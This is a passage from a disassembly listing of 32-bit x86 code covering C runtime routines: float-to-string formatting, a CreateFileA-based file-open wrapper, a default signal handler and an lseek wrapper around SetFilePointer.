[ebp+var_10] push eax call sub_44DB2B add esp, 8 fld [ebp+var_10] call sub_44DB4B mov [ebp+var_5C], eax mov eax, [ebp+var_44] sub eax, 7 mov [ebp+var_44], eax test eax, eax jle short loc_44CC76 fld [ebp+var_10] fild [ebp+var_5C] fsubp st(1), st fstp [ebp+var_10] loc_44CC76: ; CODE XREF: sub_44CA4B+21Ej mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax mov [ebp+var_60], 7 jmp short loc_44CC9B ; --------------------------------------------------------------------------- loc_44CC88: ; CODE XREF: sub_44CA4B+25Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, [ebp+var_5C] and edx, 0Fh mov [eax], dl sar [ebp+var_5C], 4 loc_44CC9B: ; CODE XREF: sub_44CA4B+23Bj cmp [ebp+var_5C], 0 jle short loc_44CCAC mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_44CC88 loc_44CCAC: ; CODE XREF: sub_44CA4B+254j jmp short loc_44CCB8 ; --------------------------------------------------------------------------- loc_44CCAE: ; CODE XREF: sub_44CA4B+276j mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 0 loc_44CCB8: ; CODE XREF: sub_44CA4B:loc_44CCACj mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_44CCAE mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax loc_44CCCC: ; CODE XREF: sub_44CA4B+1F5j cmp [ebp+var_44], 0 jle short loc_44CCE4 fld [ebp+var_10] fcomp dbl_4100D4 fnstsw ax sahf ja loc_44CC45 loc_44CCE4: ; CODE XREF: sub_44CA4B+285j mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_44CD05 mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_44CD05: ; CODE XREF: sub_44CA4B+2B1j cmp [ebp+var_12], 0 jl loc_44CDA9 mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_44CD31 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 8 jb short loc_44CD31 mov [ebp+var_64], 0Fh jmp short loc_44CD38 ; --------------------------------------------------------------------------- loc_44CD31: ; CODE XREF: sub_44CA4B+2CFj ; sub_44CA4B+2DBj mov [ebp+var_64], 0 loc_44CD38: ; CODE XREF: sub_44CA4B+2E4j mov eax, [ebp+var_64] mov byte ptr [ebp+var_60+3], al movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_44CD4C ; --------------------------------------------------------------------------- loc_44CD47: ; CODE XREF: sub_44CA4B+311j sub [ebp+var_12], 1 loc_44CD4C: ; CODE XREF: sub_44CA4B+2FAj mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_60+3] cmp [edx+eax], cl jz short loc_44CD47 cmp byte ptr [ebp+var_60+3], 0Fh jnz short loc_44CD6F mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_44CD6F: ; CODE XREF: sub_44CA4B+317j cmp [ebp+var_5C], 0 jge short loc_44CD82 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 4 loc_44CD82: ; CODE XREF: sub_44CA4B+328j movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_44CD9E ; --------------------------------------------------------------------------- loc_44CD8B: ; CODE XREF: sub_44CA4B+35Cj mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx movzx edx, byte ptr [eax] mov ecx, [ebp+var_48] mov dl, [ecx+edx] mov [eax], dl loc_44CD9E: ; CODE XREF: sub_44CA4B+33Ej mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax test eax, eax jge short loc_44CD8B loc_44CDA9: ; CODE XREF: sub_44CA4B+2BFj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge loc_44D080 mov edx, [ebp+arg_0] movsx eax, [ebp+var_12] dec eax mov [edx+2Ch], eax jmp loc_44D080 ; --------------------------------------------------------------------------- loc_44CDC6: ; CODE XREF: sub_44CA4B+16Fj fld dbl_4100D4 fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_44CDDC fld [ebp+var_10] fchs fstp [ebp+var_10] loc_44CDDC: ; CODE XREF: sub_44CA4B+387j movsx eax, [ebp+var_14] imul eax, 7597h push eax mov edx, 14F8B589h imul edx pop eax shr eax, 1Fh sar edx, 0Dh add eax, edx sub eax, 4 mov [ebp+var_14], ax test ax, ax jge short loc_44CE47 mov eax, 3 movsx edx, [ebp+var_14] sub eax, edx and eax, 0FFFFFFFCh mov [ebp+var_44], eax neg eax mov [ebp+var_14], ax mov [ebp+var_48], 0 jmp short loc_44CE3F ; --------------------------------------------------------------------------- loc_44CE23: ; CODE XREF: sub_44CA4B+3F8j test byte ptr [ebp+var_44], 1 jz short loc_44CE39 fld [ebp+var_10] mov eax, [ebp+var_48] fmul dbl_41007C[eax*8] fstp [ebp+var_10] loc_44CE39: ; CODE XREF: sub_44CA4B+3DCj sar [ebp+var_44], 1 inc [ebp+var_48] loc_44CE3F: ; CODE XREF: sub_44CA4B+3D6j cmp [ebp+var_44], 0 jg short loc_44CE23 jmp short loc_44CE97 ; --------------------------------------------------------------------------- loc_44CE47: ; CODE XREF: sub_44CA4B+3B6j cmp [ebp+var_14], 0 jle short loc_44CE97 fld dbl_4100CC fstp [ebp+var_50] and [ebp+var_14], 0FFFCh movsx eax, [ebp+var_14] mov [ebp+var_44], eax mov [ebp+var_48], 0 jmp short loc_44CE88 ; --------------------------------------------------------------------------- loc_44CE6C: ; CODE XREF: sub_44CA4B+441j test byte ptr [ebp+var_44], 1 jz short loc_44CE82 fld [ebp+var_50] mov eax, [ebp+var_48] fmul dbl_41007C[eax*8] fstp [ebp+var_50] loc_44CE82: ; CODE XREF: sub_44CA4B+425j sar [ebp+var_44], 1 inc [ebp+var_48] loc_44CE88: ; CODE XREF: sub_44CA4B+41Fj cmp [ebp+var_44], 0 jg short loc_44CE6C fld [ebp+var_10] fdiv [ebp+var_50] fstp [ebp+var_10] loc_44CE97: ; CODE XREF: sub_44CA4B+3FAj ; sub_44CA4B+401j mov al, [ebp+arg_4] cmp al, 66h jz short loc_44CEA2 cmp al, 46h jnz short loc_44CEAE loc_44CEA2: ; CODE XREF: sub_44CA4B+451j movsx eax, [ebp+var_14] add eax, 0Ah mov [ebp+var_48], eax jmp short loc_44CEB5 ; --------------------------------------------------------------------------- loc_44CEAE: ; CODE XREF: sub_44CA4B+455j mov [ebp+var_48], 6 loc_44CEB5: ; CODE XREF: sub_44CA4B+461j mov eax, [ebp+var_48] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_44], eax cmp eax, 13h jle short loc_44CECF mov [ebp+var_44], 13h loc_44CECF: ; CODE XREF: sub_44CA4B+47Bj mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 30h jmp loc_44CF75 ; --------------------------------------------------------------------------- loc_44CEE0: ; CODE XREF: sub_44CA4B+53Cj fld [ebp+var_10] call sub_44DB4B mov dword ptr [ebp+var_50+4], eax mov eax, [ebp+var_44] sub eax, 8 mov [ebp+var_44], eax test eax, eax jle short loc_44CF09 fld [ebp+var_10] fild dword ptr [ebp+var_50+4] fsubp st(1), st fmul dbl_4100C4 fstp [ebp+var_10] loc_44CF09: ; CODE XREF: sub_44CA4B+4ABj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov dword ptr [ebp+var_50], 8 jmp short loc_44CF44 ; --------------------------------------------------------------------------- loc_44CF1B: ; CODE XREF: sub_44CA4B+508j push 0Ah mov eax, dword ptr [ebp+var_50+4] push eax call sub_44DB7B add esp, 8 mov dword ptr [ebp+var_58], eax mov dword ptr [ebp+var_58+4], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, dword ptr [ebp+var_58+4] add edx, 30h mov [eax], dl mov eax, dword ptr [ebp+var_58] mov dword ptr [ebp+var_50+4], eax loc_44CF44: ; CODE XREF: sub_44CA4B+4CEj cmp dword ptr [ebp+var_50+4], 0 jle short loc_44CF55 mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_44CF1B loc_44CF55: ; CODE XREF: sub_44CA4B+4FDj jmp short loc_44CF61 ; --------------------------------------------------------------------------- loc_44CF57: ; CODE XREF: sub_44CA4B+51Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 30h loc_44CF61: ; CODE XREF: sub_44CA4B:loc_44CF55j mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_44CF57 mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax loc_44CF75: ; CODE XREF: sub_44CA4B+490j cmp [ebp+var_44], 0 jle short loc_44CF8D fld dbl_4100D4 fcomp [ebp+var_10] fnstsw ax sahf jb loc_44CEE0 loc_44CF8D: ; CODE XREF: sub_44CA4B+52Ej mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax add [ebp+var_14], 7 jmp short loc_44CFB0 ; --------------------------------------------------------------------------- loc_44CFA5: ; CODE XREF: sub_44CA4B+56Bj dec [ebp+var_44] sub [ebp+var_14], 1 inc [ebp+var_4] loc_44CFB0: ; CODE XREF: sub_44CA4B+558j mov eax, [ebp+var_4] cmp byte ptr [eax], 30h jz short loc_44CFA5 mov al, [ebp+arg_4] cmp al, 66h jz short loc_44CFC3 cmp al, 46h jnz short loc_44CFCD loc_44CFC3: ; CODE XREF: sub_44CA4B+572j movsx eax, [ebp+var_14] inc eax mov dword ptr [ebp+var_50+4], eax jmp short loc_44CFE8 ; --------------------------------------------------------------------------- loc_44CFCD: ; CODE XREF: sub_44CA4B+576j mov al, [ebp+arg_4] cmp al, 65h jz short loc_44CFD8 cmp al, 45h jnz short loc_44CFE1 loc_44CFD8: ; CODE XREF: sub_44CA4B+587j mov dword ptr [ebp+var_50+4], 1 jmp short loc_44CFE8 ; --------------------------------------------------------------------------- loc_44CFE1: ; CODE XREF: sub_44CA4B+58Bj mov dword ptr [ebp+var_50+4], 0 loc_44CFE8: ; CODE XREF: sub_44CA4B+580j ; sub_44CA4B+594j mov eax, dword ptr [ebp+var_50+4] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_12], ax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_44D007 mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_44D007: ; CODE XREF: sub_44CA4B+5B3j cmp [ebp+var_12], 0 jl short loc_44D080 mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_44D02F movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 35h jb short loc_44D02F mov dword ptr [ebp+var_58], 39h jmp short loc_44D036 ; --------------------------------------------------------------------------- loc_44D02F: ; CODE XREF: sub_44CA4B+5CDj ; sub_44CA4B+5D9j mov dword ptr [ebp+var_58], 30h loc_44D036: ; CODE XREF: sub_44CA4B+5E2j mov eax, dword ptr [ebp+var_58] mov byte ptr [ebp+var_50+3], al movsx eax, [ebp+var_12] mov dword ptr [ebp+var_58+4], eax jmp short loc_44D04A ; --------------------------------------------------------------------------- loc_44D045: ; CODE XREF: sub_44CA4B+60Fj sub [ebp+var_12], 1 loc_44D04A: ; CODE XREF: sub_44CA4B+5F8j mov eax, dword ptr [ebp+var_58+4] dec eax mov dword ptr [ebp+var_58+4], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_50+3] cmp [edx+eax], cl jz short loc_44D045 cmp byte ptr [ebp+var_50+3], 39h jnz short loc_44D06D mov eax, dword ptr [ebp+var_58+4] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_44D06D: ; CODE XREF: sub_44CA4B+615j cmp dword ptr [ebp+var_58+4], 0 jge short loc_44D080 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 1 loc_44D080: ; CODE XREF: sub_44CA4B+161j ; sub_44CA4B+365j ... movsx eax, [ebp+var_14] push eax movsx eax, [ebp+var_12] push eax mov eax, [ebp+var_4] push eax movzx eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44DBAB add esp, 14h loc_44D09F: ; CODE XREF: sub_44CA4B+B4j ; sub_44CA4B+106j mov esp, ebp pop ebp retn sub_44CA4B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D0AB proc near ; CODE XREF: sub_44BDDB+5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea ebx, [ebp+arg_8] lea eax, [ebx+4] mov ebx, eax mov esi, [eax-4] push esi push 40h mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44D0DB add esp, 10h pop esi pop ebx pop ebp retn sub_44D0AB endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D0DB proc near ; CODE XREF: sub_44D0AB+1Bp var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 3Ch push ebx push esi push edi mov ebx, [ebp+arg_4] mov [ebp+var_10], 0Ch mov [ebp+var_C], 0 test ebx, 80h jz short loc_44D10A mov [ebp+var_8], 0 mov [ebp+var_1], 10h jmp short loc_44D115 ; --------------------------------------------------------------------------- loc_44D10A: ; CODE XREF: sub_44D0DB+20j mov [ebp+var_8], 1 mov [ebp+var_1], 0 loc_44D115: ; CODE XREF: sub_44D0DB+2Dj test ebx, 8000h jnz short loc_44D129 test ebx, 4000h jz short loc_44D129 or [ebp+var_1], 80h loc_44D129: ; CODE XREF: sub_44D0DB+40j ; sub_44D0DB+48j mov edi, ebx and edi, 3 jz short loc_44D13C cmp edi, 1 jz short loc_44D145 cmp edi, 2 jz short loc_44D14E jmp short loc_44D157 ; --------------------------------------------------------------------------- loc_44D13C: ; CODE XREF: sub_44D0DB+53j mov [ebp+var_20], 80000000h jmp short loc_44D16A ; --------------------------------------------------------------------------- loc_44D145: ; CODE XREF: sub_44D0DB+58j mov [ebp+var_20], 40000000h jmp short loc_44D16A ; --------------------------------------------------------------------------- loc_44D14E: ; CODE XREF: sub_44D0DB+5Dj mov [ebp+var_20], 0C0000000h jmp short loc_44D16A ; --------------------------------------------------------------------------- loc_44D157: ; CODE XREF: sub_44D0DB+5Fj call sub_449B9B mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D16A: ; CODE XREF: sub_44D0DB+68j ; sub_44D0DB+71j ... mov eax, [ebp+arg_8] cmp eax, 20h jz short loc_44D197 jg short loc_44D17C cmp [ebp+arg_8], 10h jz short loc_44D18E jmp short loc_44D1B2 ; --------------------------------------------------------------------------- loc_44D17C: ; CODE XREF: sub_44D0DB+97j mov eax, [ebp+arg_8] cmp eax, 30h jz short loc_44D1A0 jl short loc_44D1B2 cmp [ebp+arg_8], 40h jz short loc_44D1A9 jmp short loc_44D1B2 ; --------------------------------------------------------------------------- loc_44D18E: ; CODE XREF: sub_44D0DB+9Dj mov [ebp+var_28], 0 jmp short loc_44D1C5 ; --------------------------------------------------------------------------- loc_44D197: ; CODE XREF: sub_44D0DB+95j mov [ebp+var_28], 1 jmp short loc_44D1C5 ; --------------------------------------------------------------------------- loc_44D1A0: ; CODE XREF: sub_44D0DB+A7j mov [ebp+var_28], 2 jmp short loc_44D1C5 ; --------------------------------------------------------------------------- loc_44D1A9: ; CODE XREF: sub_44D0DB+AFj mov [ebp+var_28], 3 jmp short loc_44D1C5 ; --------------------------------------------------------------------------- loc_44D1B2: ; CODE XREF: sub_44D0DB+9Fj ; sub_44D0DB+A9j ... call sub_449B9B mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D1C5: ; CODE XREF: sub_44D0DB+BAj ; sub_44D0DB+C3j ... mov eax, ebx and eax, 700h mov [ebp+var_3C], eax cmp eax, 300h jz short loc_44D249 jg short loc_44D1F7 mov eax, [ebp+var_3C] cmp eax, 100h jz short loc_44D22E jg short loc_44D1EC cmp [ebp+var_3C], 0 jz short loc_44D225 jmp short loc_44D252 ; --------------------------------------------------------------------------- loc_44D1EC: ; CODE XREF: sub_44D0DB+107j cmp [ebp+var_3C], 200h jz short loc_44D240 jmp short loc_44D252 ; --------------------------------------------------------------------------- loc_44D1F7: ; CODE XREF: sub_44D0DB+FBj mov eax, [ebp+var_3C] cmp eax, 500h jz short loc_44D237 jg short loc_44D20E cmp [ebp+var_3C], 400h jz short loc_44D225 jmp short loc_44D252 ; --------------------------------------------------------------------------- loc_44D20E: ; CODE XREF: sub_44D0DB+126j mov eax, [ebp+var_3C] cmp eax, 600h jz short loc_44D240 jl short loc_44D252 cmp [ebp+var_3C], 700h jz short loc_44D237 jmp short loc_44D252 ; --------------------------------------------------------------------------- loc_44D225: ; CODE XREF: sub_44D0DB+10Dj ; sub_44D0DB+12Fj mov [ebp+var_24], 3 jmp short loc_44D265 ; --------------------------------------------------------------------------- loc_44D22E: ; CODE XREF: sub_44D0DB+105j mov [ebp+var_24], 4 jmp short loc_44D265 ; --------------------------------------------------------------------------- loc_44D237: ; CODE XREF: sub_44D0DB+124j ; sub_44D0DB+146j mov [ebp+var_24], 1 jmp short loc_44D265 ; --------------------------------------------------------------------------- loc_44D240: ; CODE XREF: sub_44D0DB+118j ; sub_44D0DB+13Bj mov [ebp+var_24], 5 jmp short loc_44D265 ; --------------------------------------------------------------------------- loc_44D249: ; CODE XREF: sub_44D0DB+F9j mov [ebp+var_24], 2 jmp short loc_44D265 ; --------------------------------------------------------------------------- loc_44D252: ; CODE XREF: sub_44D0DB+10Fj ; sub_44D0DB+11Aj ... call sub_449B9B mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D265: ; CODE XREF: sub_44D0DB+151j ; sub_44D0DB+15Aj ... mov [ebp+var_14], 80h test ebx, 100h jz short loc_44D293 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax add eax, 4 mov [ebp+var_2C], eax mov eax, [eax-4] mov [ebp+var_30], eax test byte ptr [ebp+var_30], 80h jnz short loc_44D293 mov [ebp+var_14], 1 loc_44D293: ; CODE XREF: sub_44D0DB+197j ; sub_44D0DB+1AFj test ebx, 40h jz short loc_44D2A9 or [ebp+var_14], 4000000h or [ebp+var_20], 10000h loc_44D2A9: ; CODE XREF: sub_44D0DB+1BEj test ebx, 1000h jz short loc_44D2B8 or [ebp+var_14], 100h loc_44D2B8: ; CODE XREF: sub_44D0DB+1D4j test ebx, 20h jz short loc_44D2C9 or [ebp+var_14], 8000000h jmp short loc_44D2D8 ; --------------------------------------------------------------------------- loc_44D2C9: ; CODE XREF: sub_44D0DB+1E3j test ebx, 10h jz short loc_44D2D8 or [ebp+var_14], 10000000h loc_44D2D8: ; CODE XREF: sub_44D0DB+1ECj ; sub_44D0DB+1F4j call sub_44C0CB mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44D2F7 call sub_449B9B mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D2F7: ; CODE XREF: sub_44D0DB+207j push 0 mov eax, [ebp+var_14] push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+var_28] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+arg_0] push eax call dword_411DD4 ; CreateFileA mov [ebp+var_18], eax cmp eax, 0FFFFFFFFh jnz short loc_44D33D call dword_411CEC ; RtlGetLastWin32Error push eax call sub_449A3B pop ecx push esi call sub_44C4DB pop ecx or eax, 0FFFFFFFFh jmp loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D33D: ; CODE XREF: sub_44D0DB+244j mov eax, [ebp+var_18] push eax call dword_411DF0 ; GetFileType mov [ebp+var_1C], eax test eax, eax jnz short loc_44D374 mov eax, [ebp+var_18] push eax call dword_411CFC ; CloseHandle call dword_411CEC ; RtlGetLastWin32Error push eax call sub_449A3B pop ecx push esi call sub_44C4DB pop ecx or eax, 0FFFFFFFFh jmp loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D374: ; CODE XREF: sub_44D0DB+271j cmp [ebp+var_1C], 2 jnz short loc_44D380 or [ebp+var_1], 40h jmp short loc_44D38A ; --------------------------------------------------------------------------- loc_44D380: ; CODE XREF: sub_44D0DB+29Dj cmp [ebp+var_1C], 3 jnz short loc_44D38A or [ebp+var_1], 8 loc_44D38A: ; CODE XREF: sub_44D0DB+2A3j ; sub_44D0DB+2A9j mov eax, [ebp+var_18] push eax push esi call sub_44C2AB add esp, 8 or [ebp+var_1], 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_41398C[edx*4] mov cl, [ebp+var_1] mov [edx+eax+4], cl movzx eax, [ebp+var_1] test eax, 48h jnz loc_44D482 test eax, 80h jz loc_44D482 test ebx, 2 jz loc_44D482 push 2 push 0FFFFFFFFh push esi call sub_44D5EB add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_44D418 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 83h jz loc_44D482 push esi call sub_44A57B pop ecx push esi call sub_44C4DB pop ecx or eax, 0FFFFFFFFh jmp loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D418: ; CODE XREF: sub_44D0DB+314j mov [ebp+var_35], 0 push 1 lea eax, [ebp+var_35] push eax push esi call sub_44E08B add esp, 0Ch test eax, eax jnz short loc_44D45A cmp [ebp+var_35], 1Ah jnz short loc_44D45A mov eax, [ebp+var_34] push eax push esi call sub_44E44B add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_44D45A push esi call sub_44A57B pop ecx push esi call sub_44C4DB pop ecx or eax, 0FFFFFFFFh jmp short loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D45A: ; CODE XREF: sub_44D0DB+352j ; sub_44D0DB+358j ... push 0 push 0 push esi call sub_44D5EB add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_44D482 push esi call sub_44A57B pop ecx push esi call sub_44C4DB pop ecx or eax, 0FFFFFFFFh jmp short loc_44D4B4 ; --------------------------------------------------------------------------- loc_44D482: ; CODE XREF: sub_44D0DB+2E4j ; sub_44D0DB+2EFj ... test [ebp+var_1], 48h jnz short loc_44D4AB test ebx, 8 jz short loc_44D4AB mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 20h loc_44D4AB: ; CODE XREF: sub_44D0DB+3ABj ; sub_44D0DB+3B3j push esi call sub_44C4DB pop ecx mov eax, esi loc_44D4B4: ; CODE XREF: sub_44D0DB+8Aj ; sub_44D0DB+E5j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44D0DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D4BB proc near ; CODE XREF: sub_44BE4B+2p var_14 = dword ptr -14h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push 1 mov eax, [ebp+arg_0] push eax call sub_44C54B add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_44D4E2 or eax, 0FFFFFFFFh jmp loc_44D5DF ; --------------------------------------------------------------------------- loc_44D4E2: ; CODE XREF: sub_44D4BB+1Dj cmp ebx, 1 jz loc_44D5DD test ebx, ebx jz short loc_44D509 push 0 mov eax, [ebp+arg_0] push eax call sub_44C54B add esp, 8 mov eax, [ebp+arg_0] push eax call ebx pop ecx jmp loc_44D5DD ; --------------------------------------------------------------------------- loc_44D509: ; CODE XREF: sub_44D4BB+32j mov eax, [ebp+arg_0] cmp eax, 2 jl short loc_44D55E cmp eax, 0Bh jg short loc_44D51D jmp dword ptr byte_410108[eax*4] ; --------------------------------------------------------------------------- loc_44D51D: ; CODE XREF: sub_44D4BB+59j cmp [ebp+arg_0], 0Fh jz short loc_44D555 jmp short loc_44D55E ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aAbort ; "abort" jmp loc_44D5B2 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error" jmp short loc_44D5B2 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code" jmp short loc_44D5B2 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInterruption ; "interruption" jmp short loc_44D5B2 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access" jmp short loc_44D5B2 ; --------------------------------------------------------------------------- loc_44D555: ; CODE XREF: sub_44D4BB+66j mov [ebp+var_4], offset aTerminationReq ; "termination request" jmp short loc_44D5B2 ; --------------------------------------------------------------------------- loc_44D55E: ; CODE XREF: sub_44D4BB+54j ; sub_44D4BB+68j lea eax, [ebp+var_5] mov [ebp+var_4], eax mov [ebp+var_5], 0 loc_44D568: ; CODE XREF: sub_44D4BB+E3j mov eax, [ebp+var_4] dec eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ecx, 0Ah cdq idiv ecx lea eax, [edx+30h] mov edx, [ebp+var_14] mov [edx], al mov eax, [ebp+arg_0] push eax mov edx, 66666667h imul edx pop eax shr eax, 1Fh sar edx, 2 add eax, edx mov [ebp+arg_0], eax test eax, eax jnz short loc_44D568 push offset dword_411328 push offset aSignal ; "signal #" call sub_44E5FB add esp, 8 loc_44D5B2: ; CODE XREF: sub_44D4BB+71j ; sub_44D4BB+7Dj ... push offset dword_411328 mov eax, [ebp+var_4] push eax call sub_44E5FB add esp, 8 push offset dword_411328 push offset aTerminating ; " -- terminating\n" call sub_44E5FB add esp, 8 push 1 call sub_4491DB pop ecx loc_44D5DD: ; CODE XREF: sub_44D4BB+2Aj ; sub_44D4BB+49j xor eax, eax loc_44D5DF: ; CODE XREF: sub_44D4BB+22j pop ebx mov esp, ebp pop ebp retn sub_44D4BB endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D5EB proc near ; CODE XREF: sub_44BE6B+4Bp ; sub_44D0DB+306p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] push ebx call sub_44C35B pop ecx mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_44D614 call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44D65D ; --------------------------------------------------------------------------- loc_44D614: ; CODE XREF: sub_44D5EB+17j mov eax, [ebp+arg_8] push eax push 0 mov eax, [ebp+arg_4] push eax push edi call dword_411E18 ; SetFilePointer mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44D640 call dword_411CEC ; RtlGetLastWin32Error push eax call sub_449A3B pop ecx or eax, 0FFFFFFFFh jmp short loc_44D65D ; --------------------------------------------------------------------------- loc_44D640: ; CODE XREF: sub_44D5EB+41j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FDh mov eax, esi loc_44D65D: ; CODE XREF: sub_44D5EB+27j ; sub_44D5EB+53j pop edi pop esi pop ebx pop ebp retn sub_44D5EB endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A8C jnb short loc_44D696 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44D6A6 loc_44D696: ; CODE XREF: DMN1:0044D679j call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44D6C9 ; --------------------------------------------------------------------------- loc_44D6A6: ; CODE XREF: DMN1:0044D694j push ebx call sub_44C47B pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_44D5EB add esp, 0Ch mov esi, eax push ebx call sub_44C4DB pop ecx mov eax, esi loc_44D6C9: ; CODE XREF: DMN1:0044D6A4j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U 